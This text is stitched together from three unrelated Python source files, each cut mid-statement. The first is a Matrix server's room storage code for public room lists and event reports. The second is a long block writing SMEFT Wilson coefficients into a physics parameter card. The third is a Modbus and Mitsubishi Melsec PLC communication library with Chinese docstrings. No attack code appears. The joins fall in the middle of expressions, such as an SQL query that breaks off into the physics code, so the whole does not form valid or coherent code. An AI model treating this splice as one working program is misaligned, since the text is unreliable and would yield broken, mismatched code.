None, "network_id": None, }, retcols=("stream_id", "visibility"), ) entries.sort(key=lambda r: r["stream_id"]) add_to_stream = True if entries: add_to_stream = bool(entries[-1]["visibility"]) != is_public if add_to_stream: self._simple_insert_txn( txn, table="public_room_list_stream", values={ "stream_id": next_id, "room_id": room_id, "visibility": is_public, "appservice_id": None, "network_id": None, }, ) with self._public_room_id_gen.get_next() as next_id: yield self.runInteraction( "set_room_is_public", set_room_is_public_txn, next_id ) self.hs.get_notifier().on_new_replication_data() @defer.inlineCallbacks def set_room_is_public_appservice( self, room_id, appservice_id, network_id, is_public ): """Edit the appservice/network specific public room list. Each appservice can have a number of published room lists associated with them, keyed off of an appservice defined `network_id`, which basically represents a single instance of a bridge to a third party network. Args: room_id (str) appservice_id (str) network_id (str) is_public (bool): Whether to publish or unpublish the room from the list. """ def set_room_is_public_appservice_txn(txn, next_id): if is_public: try: self._simple_insert_txn( txn, table="appservice_room_list", values={ "appservice_id": appservice_id, "network_id": network_id, "room_id": room_id, }, ) except self.database_engine.module.IntegrityError: # We've already inserted, nothing to do. return else: self._simple_delete_txn( txn, table="appservice_room_list", keyvalues={ "appservice_id": appservice_id, "network_id": network_id, "room_id": room_id, }, ) entries = self._simple_select_list_txn( txn, table="public_room_list_stream", keyvalues={ "room_id": room_id, "appservice_id": appservice_id, "network_id": network_id, }, retcols=("stream_id", "visibility"), ) entries.sort(key=lambda r: r["stream_id"]) add_to_stream = True if entries: add_to_stream = bool(entries[-1]["visibility"]) != is_public if add_to_stream: self._simple_insert_txn( txn, table="public_room_list_stream", values={ "stream_id": next_id, "room_id": room_id, "visibility": is_public, "appservice_id": appservice_id, "network_id": network_id, }, ) with self._public_room_id_gen.get_next() as next_id: yield self.runInteraction( "set_room_is_public_appservice", set_room_is_public_appservice_txn, next_id, ) self.hs.get_notifier().on_new_replication_data() def get_room_count(self): """Retrieve a list of all rooms """ def f(txn): sql = "SELECT count(*) FROM rooms" txn.execute(sql) row = txn.fetchone() return row[0] or 0 return self.runInteraction("get_rooms", f) def _store_room_topic_txn(self, txn, event): if hasattr(event, "content") and "topic" in event.content: self.store_event_search_txn( txn, event, "content.topic", event.content["topic"] ) def _store_room_name_txn(self, txn, event): if hasattr(event, "content") and "name" in event.content: self.store_event_search_txn( txn, event, "content.name", event.content["name"] ) def _store_room_message_txn(self, txn, event): if hasattr(event, "content") and "body" in event.content: self.store_event_search_txn( txn, event, "content.body", event.content["body"] ) def add_event_report( self, room_id, event_id, user_id, reason, content, received_ts ): next_id = self._event_reports_id_gen.get_next() return self._simple_insert( table="event_reports", values={ "id": next_id, "received_ts": received_ts, "room_id": room_id, "event_id": event_id, "user_id": user_id, "reason": reason, "content": json.dumps(content), }, desc="add_event_report", ) def get_current_public_room_stream_id(self): return self._public_room_id_gen.get_current_token() def get_all_new_public_rooms(self, prev_id, current_id, limit): def get_all_new_public_rooms(txn): sql = """ SELECT stream_id, room_id,
lambda_smeft_value**2,'.6e'), '# cledqAbs3x3x2x3'], [3, 3, 3, 1, format(abs(scaled_wc('ledq_3331')) * lambda_smeft_value**2,'.6e'), '# cledqAbs3x3x3x1'], [3, 3, 3, 2, format(abs(scaled_wc('ledq_3332')) * lambda_smeft_value**2,'.6e'), '# cledqAbs3x3x3x2'], [3, 3, 3, 3, format(abs(scaled_wc('ledq_3333')) * lambda_smeft_value**2,'.6e'), '# cledqAbs3x3x3x3'], ]} card['Block']['FRBlock71'] = {'values': [ [1, 1, 1, 1, format(abs(scaled_wc('quqd1_1111')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x1x1x1'], [1, 1, 1, 2, format(abs(scaled_wc('quqd1_1112')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x1x1x2'], [1, 1, 1, 3, format(abs(scaled_wc('quqd1_1113')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x1x1x3'], [1, 1, 2, 1, format(abs(scaled_wc('quqd1_1121')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x1x2x1'], [1, 1, 2, 2, format(abs(scaled_wc('quqd1_1122')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x1x2x2'], [1, 1, 2, 3, format(abs(scaled_wc('quqd1_1123')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x1x2x3'], [1, 1, 3, 1, format(abs(scaled_wc('quqd1_1131')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x1x3x1'], [1, 1, 3, 2, format(abs(scaled_wc('quqd1_1132')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x1x3x2'], [1, 1, 3, 3, format(abs(scaled_wc('quqd1_1133')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x1x3x3'], [1, 2, 1, 1, format(abs(scaled_wc('quqd1_1211')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x2x1x1'], [1, 2, 1, 2, format(abs(scaled_wc('quqd1_1212')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x2x1x2'], [1, 2, 1, 3, format(abs(scaled_wc('quqd1_1213')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x2x1x3'], [1, 2, 2, 1, format(abs(scaled_wc('quqd1_1221')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x2x2x1'], [1, 2, 2, 2, format(abs(scaled_wc('quqd1_1222')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x2x2x2'], [1, 2, 2, 3, format(abs(scaled_wc('quqd1_1223')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x2x2x3'], [1, 2, 3, 1, format(abs(scaled_wc('quqd1_1231')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x2x3x1'], [1, 2, 3, 2, format(abs(scaled_wc('quqd1_1232')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x2x3x2'], [1, 2, 3, 3, format(abs(scaled_wc('quqd1_1233')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x2x3x3'], [1, 3, 1, 1, format(abs(scaled_wc('quqd1_1311')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x3x1x1'], [1, 3, 1, 2, format(abs(scaled_wc('quqd1_1312')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x3x1x2'], [1, 3, 1, 3, format(abs(scaled_wc('quqd1_1313')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x3x1x3'], [1, 3, 2, 1, format(abs(scaled_wc('quqd1_1321')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x3x2x1'], [1, 3, 2, 2, format(abs(scaled_wc('quqd1_1322')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x3x2x2'], [1, 3, 2, 3, format(abs(scaled_wc('quqd1_1323')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x3x2x3'], [1, 3, 3, 1, format(abs(scaled_wc('quqd1_1331')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x3x3x1'], [1, 3, 3, 2, format(abs(scaled_wc('quqd1_1332')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x3x3x2'], [1, 3, 3, 3, format(abs(scaled_wc('quqd1_1333')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs1x3x3x3'], [2, 1, 1, 1, format(abs(scaled_wc('quqd1_2111')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x1x1x1'], [2, 1, 1, 2, format(abs(scaled_wc('quqd1_2112')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x1x1x2'], [2, 1, 1, 3, format(abs(scaled_wc('quqd1_2113')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x1x1x3'], [2, 1, 2, 1, format(abs(scaled_wc('quqd1_2121')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x1x2x1'], [2, 1, 2, 2, format(abs(scaled_wc('quqd1_2122')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x1x2x2'], [2, 1, 2, 3, format(abs(scaled_wc('quqd1_2123')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x1x2x3'], [2, 1, 3, 1, format(abs(scaled_wc('quqd1_2131')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x1x3x1'], [2, 1, 3, 2, format(abs(scaled_wc('quqd1_2132')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x1x3x2'], [2, 1, 3, 3, format(abs(scaled_wc('quqd1_2133')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x1x3x3'], [2, 2, 1, 1, format(abs(scaled_wc('quqd1_2211')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x2x1x1'], [2, 2, 1, 2, format(abs(scaled_wc('quqd1_2212')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x2x1x2'], [2, 2, 1, 3, format(abs(scaled_wc('quqd1_2213')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x2x1x3'], [2, 2, 2, 1, format(abs(scaled_wc('quqd1_2221')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x2x2x1'], [2, 2, 2, 2, format(abs(scaled_wc('quqd1_2222')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x2x2x2'], [2, 2, 2, 3, format(abs(scaled_wc('quqd1_2223')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x2x2x3'], [2, 2, 3, 1, format(abs(scaled_wc('quqd1_2231')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x2x3x1'], [2, 2, 3, 2, format(abs(scaled_wc('quqd1_2232')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x2x3x2'], [2, 2, 3, 3, format(abs(scaled_wc('quqd1_2233')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x2x3x3'], [2, 3, 1, 1, format(abs(scaled_wc('quqd1_2311')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x3x1x1'], [2, 3, 1, 2, format(abs(scaled_wc('quqd1_2312')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x3x1x2'], [2, 3, 1, 3, format(abs(scaled_wc('quqd1_2313')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x3x1x3'], [2, 3, 2, 1, format(abs(scaled_wc('quqd1_2321')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x3x2x1'], [2, 3, 2, 2, format(abs(scaled_wc('quqd1_2322')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x3x2x2'], [2, 3, 2, 3, format(abs(scaled_wc('quqd1_2323')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x3x2x3'], [2, 3, 3, 1, format(abs(scaled_wc('quqd1_2331')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x3x3x1'], [2, 3, 3, 2, format(abs(scaled_wc('quqd1_2332')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x3x3x2'], [2, 3, 3, 3, format(abs(scaled_wc('quqd1_2333')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs2x3x3x3'], [3, 1, 1, 1, format(abs(scaled_wc('quqd1_3111')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x1x1x1'], [3, 1, 1, 2, format(abs(scaled_wc('quqd1_3112')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x1x1x2'], [3, 1, 1, 3, format(abs(scaled_wc('quqd1_3113')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x1x1x3'], [3, 1, 2, 1, format(abs(scaled_wc('quqd1_3121')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x1x2x1'], [3, 1, 2, 2, format(abs(scaled_wc('quqd1_3122')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x1x2x2'], [3, 1, 2, 3, format(abs(scaled_wc('quqd1_3123')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x1x2x3'], [3, 1, 3, 1, format(abs(scaled_wc('quqd1_3131')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x1x3x1'], [3, 1, 3, 2, format(abs(scaled_wc('quqd1_3132')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x1x3x2'], [3, 1, 3, 3, format(abs(scaled_wc('quqd1_3133')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x1x3x3'], [3, 2, 1, 1, format(abs(scaled_wc('quqd1_3211')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x2x1x1'], [3, 2, 1, 2, format(abs(scaled_wc('quqd1_3212')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x2x1x2'], [3, 2, 1, 3, format(abs(scaled_wc('quqd1_3213')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x2x1x3'], [3, 2, 2, 1, format(abs(scaled_wc('quqd1_3221')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x2x2x1'], [3, 2, 2, 2, format(abs(scaled_wc('quqd1_3222')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x2x2x2'], [3, 2, 2, 3, format(abs(scaled_wc('quqd1_3223')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x2x2x3'], [3, 2, 3, 1, format(abs(scaled_wc('quqd1_3231')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x2x3x1'], [3, 2, 3, 2, format(abs(scaled_wc('quqd1_3232')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x2x3x2'], [3, 2, 3, 3, format(abs(scaled_wc('quqd1_3233')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x2x3x3'], [3, 3, 1, 1, format(abs(scaled_wc('quqd1_3311')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x3x1x1'], [3, 3, 1, 2, format(abs(scaled_wc('quqd1_3312')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x3x1x2'], [3, 3, 1, 3, format(abs(scaled_wc('quqd1_3313')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x3x1x3'], [3, 3, 2, 1, format(abs(scaled_wc('quqd1_3321')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x3x2x1'], [3, 3, 2, 2, format(abs(scaled_wc('quqd1_3322')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x3x2x2'], [3, 3, 2, 3, format(abs(scaled_wc('quqd1_3323')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x3x2x3'], [3, 3, 3, 1, format(abs(scaled_wc('quqd1_3331')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x3x3x1'], [3, 3, 3, 2, format(abs(scaled_wc('quqd1_3332')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x3x3x2'], [3, 3, 3, 3, format(abs(scaled_wc('quqd1_3333')) * lambda_smeft_value**2,'.6e'), '# cquqd1Abs3x3x3x3'], ]} card['Block']['FRBlock72'] = {'values': [ [1, 1, 1, 1, format(abs(scaled_wc('quqd8_1111')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x1x1x1'], [1, 1, 1, 2, format(abs(scaled_wc('quqd8_1112')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x1x1x2'], [1, 1, 1, 3, format(abs(scaled_wc('quqd8_1113')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x1x1x3'], [1, 1, 2, 1, format(abs(scaled_wc('quqd8_1121')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x1x2x1'], [1, 1, 2, 2, format(abs(scaled_wc('quqd8_1122')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x1x2x2'], [1, 1, 2, 3, format(abs(scaled_wc('quqd8_1123')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x1x2x3'], [1, 1, 3, 1, format(abs(scaled_wc('quqd8_1131')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x1x3x1'], [1, 1, 3, 2, format(abs(scaled_wc('quqd8_1132')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x1x3x2'], [1, 1, 3, 3, format(abs(scaled_wc('quqd8_1133')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x1x3x3'], [1, 2, 1, 1, format(abs(scaled_wc('quqd8_1211')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x2x1x1'], [1, 2, 1, 2, format(abs(scaled_wc('quqd8_1212')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x2x1x2'], [1, 2, 1, 3, format(abs(scaled_wc('quqd8_1213')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x2x1x3'], [1, 2, 2, 1, format(abs(scaled_wc('quqd8_1221')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x2x2x1'], [1, 2, 2, 2, format(abs(scaled_wc('quqd8_1222')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x2x2x2'], [1, 2, 2, 3, format(abs(scaled_wc('quqd8_1223')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x2x2x3'], [1, 2, 3, 1, format(abs(scaled_wc('quqd8_1231')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x2x3x1'], [1, 2, 3, 2, format(abs(scaled_wc('quqd8_1232')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x2x3x2'], [1, 2, 3, 3, format(abs(scaled_wc('quqd8_1233')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x2x3x3'], [1, 3, 1, 1, format(abs(scaled_wc('quqd8_1311')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x3x1x1'], [1, 3, 1, 2, format(abs(scaled_wc('quqd8_1312')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x3x1x2'], [1, 3, 1, 3, format(abs(scaled_wc('quqd8_1313')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x3x1x3'], [1, 3, 2, 1, format(abs(scaled_wc('quqd8_1321')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x3x2x1'], [1, 3, 2, 2, format(abs(scaled_wc('quqd8_1322')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x3x2x2'], [1, 3, 2, 3, format(abs(scaled_wc('quqd8_1323')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x3x2x3'], [1, 3, 3, 1, format(abs(scaled_wc('quqd8_1331')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x3x3x1'], [1, 3, 3, 2, format(abs(scaled_wc('quqd8_1332')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x3x3x2'], [1, 3, 3, 3, format(abs(scaled_wc('quqd8_1333')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs1x3x3x3'], [2, 1, 1, 1, format(abs(scaled_wc('quqd8_2111')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x1x1x1'], [2, 1, 1, 2, format(abs(scaled_wc('quqd8_2112')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x1x1x2'], [2, 1, 1, 3, format(abs(scaled_wc('quqd8_2113')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x1x1x3'], [2, 1, 2, 1, format(abs(scaled_wc('quqd8_2121')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x1x2x1'], [2, 1, 2, 2, format(abs(scaled_wc('quqd8_2122')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x1x2x2'], [2, 1, 2, 3, format(abs(scaled_wc('quqd8_2123')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x1x2x3'], [2, 1, 3, 1, format(abs(scaled_wc('quqd8_2131')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x1x3x1'], [2, 1, 3, 2, format(abs(scaled_wc('quqd8_2132')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x1x3x2'], [2, 1, 3, 3, format(abs(scaled_wc('quqd8_2133')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x1x3x3'], [2, 2, 1, 1, format(abs(scaled_wc('quqd8_2211')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x2x1x1'], [2, 2, 1, 2, format(abs(scaled_wc('quqd8_2212')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x2x1x2'], [2, 2, 1, 3, format(abs(scaled_wc('quqd8_2213')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x2x1x3'], [2, 2, 2, 1, format(abs(scaled_wc('quqd8_2221')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x2x2x1'], [2, 2, 2, 2, format(abs(scaled_wc('quqd8_2222')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x2x2x2'], [2, 2, 2, 3, format(abs(scaled_wc('quqd8_2223')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x2x2x3'], [2, 2, 3, 1, format(abs(scaled_wc('quqd8_2231')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x2x3x1'], [2, 2, 3, 2, format(abs(scaled_wc('quqd8_2232')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x2x3x2'], [2, 2, 3, 3, format(abs(scaled_wc('quqd8_2233')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x2x3x3'], [2, 3, 1, 1, format(abs(scaled_wc('quqd8_2311')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x3x1x1'], [2, 3, 1, 2, format(abs(scaled_wc('quqd8_2312')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x3x1x2'], [2, 3, 1, 3, format(abs(scaled_wc('quqd8_2313')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x3x1x3'], [2, 3, 2, 1, format(abs(scaled_wc('quqd8_2321')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x3x2x1'], [2, 3, 2, 2, format(abs(scaled_wc('quqd8_2322')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x3x2x2'], [2, 3, 2, 3, format(abs(scaled_wc('quqd8_2323')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x3x2x3'], [2, 3, 3, 1, format(abs(scaled_wc('quqd8_2331')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x3x3x1'], [2, 3, 3, 2, format(abs(scaled_wc('quqd8_2332')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x3x3x2'], [2, 3, 3, 3, format(abs(scaled_wc('quqd8_2333')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs2x3x3x3'], [3, 1, 1, 1, format(abs(scaled_wc('quqd8_3111')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs3x1x1x1'], [3, 1, 1, 2, format(abs(scaled_wc('quqd8_3112')) * lambda_smeft_value**2,'.6e'), '# cquqd8Abs3x1x1x2'], [3, 1, 1, 3, format(abs(scaled_wc('quqd8_3113')) * lambda_smeft_value**2,'.6e'),
= resultBytes.Content[9:] resultBytes.Content = buffer return resultBytes def ReadModBusAddressBase( self, address, length = 1 ): '''读取服务器的数据,需要指定不同的功能码''' command = self.BuildReadModbusAddressCommand( address, length ) if command.IsSuccess == False: return OperateResult.CreateFailedResult(command) resultBytes = self.CheckModbusTcpResponse( command.Content ) if resultBytes.IsSuccess == True: # 二次数据处理 if len(resultBytes.Content) >= 9: buffer = bytearray(len(resultBytes.Content) - 9) buffer[0:len(buffer)] = resultBytes.Content[9:] resultBytes.Content = buffer return resultBytes def ReadCoil( self, address, length = None): '''批量的读取线圈,需要指定起始地址,读取长度可选''' if length == None: read = self.ReadCoil( address, 1 ) if read.IsSuccess == False : return OperateResult.CreateFailedResult( read ) return OperateResult.CreateSuccessResult( read.Content[0] ) else: read = self.ReadModBusBase( ModbusInfo.ReadCoil(), address, length ) if read.IsSuccess == False : return OperateResult.CreateFailedResult( read ) return OperateResult.CreateSuccessResult( SoftBasic.ByteToBoolArray( read.Content, length ) ) def ReadDiscrete( self, address, length = None): '''批量的读取输入点,需要指定起始地址,可选读取长度''' if length == None: read = self.ReadDiscrete( address, 1 ) if read.IsSuccess == False : return OperateResult.CreateFailedResult( read ) return OperateResult.CreateSuccessResult( read.Content[0] ) else: read = self.ReadModBusBase( ModbusInfo.ReadDiscrete(), address, length ) if read.IsSuccess == False : return OperateResult.CreateFailedResult( read ) return OperateResult.CreateSuccessResult( SoftBasic.ByteToBoolArray( read.Content, length ) ) def Read( self, address, length ): '''从Modbus服务器批量读取寄存器的信息,需要指定起始地址,读取长度''' analysis = ModbusInfo.AnalysisReadAddress( address, self.isAddressStartWithZero ) if analysis.IsSuccess == False : return OperateResult.CreateFailedResult( analysis ) return self.ReadModBusAddressBase( analysis.Content, length ) def WriteOneRegister( self, address, value ): '''写一个寄存器数据''' if type(value) == list: command = self.BuildWriteOneRegisterCommand( address, value ) if command.IsSuccess == False : return command return self.CheckModbusTcpResponse( command.Content ) else: return self.WriteOneRegister(address, struct.pack('>H', value)) def Write( self, address, value ): '''将数据写入到Modbus的寄存器上去,需要指定起始地址和数据内容''' command = self.BuildWriteRegisterCommand( address, value ) if command.IsSuccess == False: return command return self.CheckModbusTcpResponse( command.Content ) def WriteCoil( self, address, value ): '''批量写线圈信息,指定是否通断''' if type(value) == list: command = self.BuildWriteCoilCommand( address, value ) if command.IsSuccess == False : return command return self.CheckModbusTcpResponse( command.Content ) else: command = self.BuildWriteOneCoilCommand( address, value ) if command.IsSuccess == False : return command return self.CheckModbusTcpResponse( command.Content ) def WriteBool( self, address, values ): '''批量写寄存器的数据内容''' return self.Write( address, SoftBasic.BoolArrayToByte( values ) ) # 三菱的类库 class MelsecA1EDataType: '''三菱PLC的数据类型,此处包含了几个常用的类型''' DataCode = bytearray(2) DataType = 0 AsciiCode = 0 FromBase = 0 def __init__(self, code0, code1, typeCode, asciiCode, fromBase): '''如果您清楚类型代号,可以根据值进行扩展''' self.DataCode[0] = code0 self.DataCode[1] = code1 self.AsciiCode = asciiCode self.FromBase = fromBase if typeCode < 2: self.DataType = typeCode @staticmethod def GetX(): '''X输入寄存器''' return MelsecA1EDataType(0x58,0x20,0x01,'X*',8) @staticmethod def GetY(): '''Y输出寄存器''' return MelsecA1EDataType(0x59,0x20,0x01,'Y*',8) @staticmethod def GetM(): '''M中间寄存器''' return MelsecA1EDataType(0x4D,0x20,0x01,'M*',10) @staticmethod def GetS(): '''S状态寄存器''' return MelsecA1EDataType(0x53,0x20,0x01,'S*',10) @staticmethod def GetD(): '''D数据寄存器''' return MelsecA1EDataType(0x44,0x20,0x00,'D*',10) @staticmethod def GetR(): '''R文件寄存器''' return MelsecA1EDataType(0x52,0x20,0x00,'R*',10) class MelsecMcDataType: '''三菱PLC的数据类型,此处包含了几个常用的类型''' DataCode = 0 DataType = 0 AsciiCode = 0 FromBase = 0 def __init__(self, code, typeCode, asciiCode, fromBase): '''如果您清楚类型代号,可以根据值进行扩展''' self.DataCode = code self.AsciiCode = asciiCode self.FromBase = fromBase if typeCode < 2: self.DataType = typeCode @staticmethod def GetX(): '''X输入寄存器''' return MelsecMcDataType(0x9C,0x01,'X*',16) @staticmethod def GetY(): '''Y输出寄存器''' return MelsecMcDataType(0x9D,0x01,'Y*',16) @staticmethod def GetM(): '''M中间寄存器''' return MelsecMcDataType(0x90,0x01,'M*',10) @staticmethod def GetD(): '''D数据寄存器''' return MelsecMcDataType(0xA8,0x00,'D*',10) @staticmethod def GetW(): '''W链接寄存器''' return MelsecMcDataType(0xB4,0x00,'W*',16) @staticmethod def GetL(): '''L锁存继电器''' return MelsecMcDataType(0x92,0x01,'L*',10) @staticmethod def GetF(): '''F报警器''' return MelsecMcDataType(0x93,0x01,'F*',10) @staticmethod def GetV(): '''V边沿继电器''' return MelsecMcDataType(0x93,0x01,'V*',10) @staticmethod def GetB(): '''B链接继电器''' return MelsecMcDataType(0xA,0x01,'B*',16) @staticmethod def GetR(): '''R文件寄存器''' return MelsecMcDataType(0xAF,0x00,'R*',10) @staticmethod def GetS(): '''S步进继电器''' return MelsecMcDataType(0x98,0x01,'S*',10) @staticmethod def GetZ(): '''变址寄存器''' return MelsecMcDataType(0xCC,0x00,'Z*',10) @staticmethod def GetT(): '''定时器的值''' return MelsecMcDataType(0xC2,0x00,'TN',10) @staticmethod def GetC(): '''计数器的值''' return MelsecMcDataType(0xC5,0x00,'CN',10) class MelsecHelper: '''所有三菱通讯类的通用辅助工具类,包含了一些通用的静态方法,可以使用本类来获取一些原始的报文信息。详细的操作参见例子''' @staticmethod def McA1EAnalysisAddress( address = "0" ): result = OperateResult() try: if address.startswith("X") or address.startswith("x"): result.Content1 = MelsecA1EDataType.GetX() result.Content2 = int(address[1:], MelsecA1EDataType.GetX().FromBase) elif address.startswith("Y") or address.startswith("y"): result.Content1 = MelsecA1EDataType.GetY() result.Content2 = int(address[1:], MelsecA1EDataType.GetY().FromBase) elif address.startswith("M") or address.startswith("m"): result.Content1 = MelsecA1EDataType.GetM() result.Content2 = int(address[1:], MelsecA1EDataType.GetM().FromBase) elif address.startswith("S") or address.startswith("s"): result.Content1 = MelsecA1EDataType.GetS() result.Content2 = int(address[1:], MelsecA1EDataType.GetS().FromBase) elif address.startswith("D") or address.startswith("d"): result.Content1 = MelsecA1EDataType.GetD() result.Content2 = int(address[1:], MelsecA1EDataType.GetD().FromBase) elif address.startswith("R") or address.startswith("r"): result.Content1 = MelsecA1EDataType.GetR() result.Content2 = int(address[1:], MelsecA1EDataType.GetR().FromBase) else: raise Exception("type not supported!") except Exception as ex: result.Message = str(ex) return result result.IsSuccess = True result.Message = StringResources.SuccessText() return result @staticmethod def McAnalysisAddress( address = "0" ): result = OperateResult() try: if address.startswith("M") or address.startswith("m"): result.Content1 = MelsecMcDataType.GetM() result.Content2 = int(address[1:], 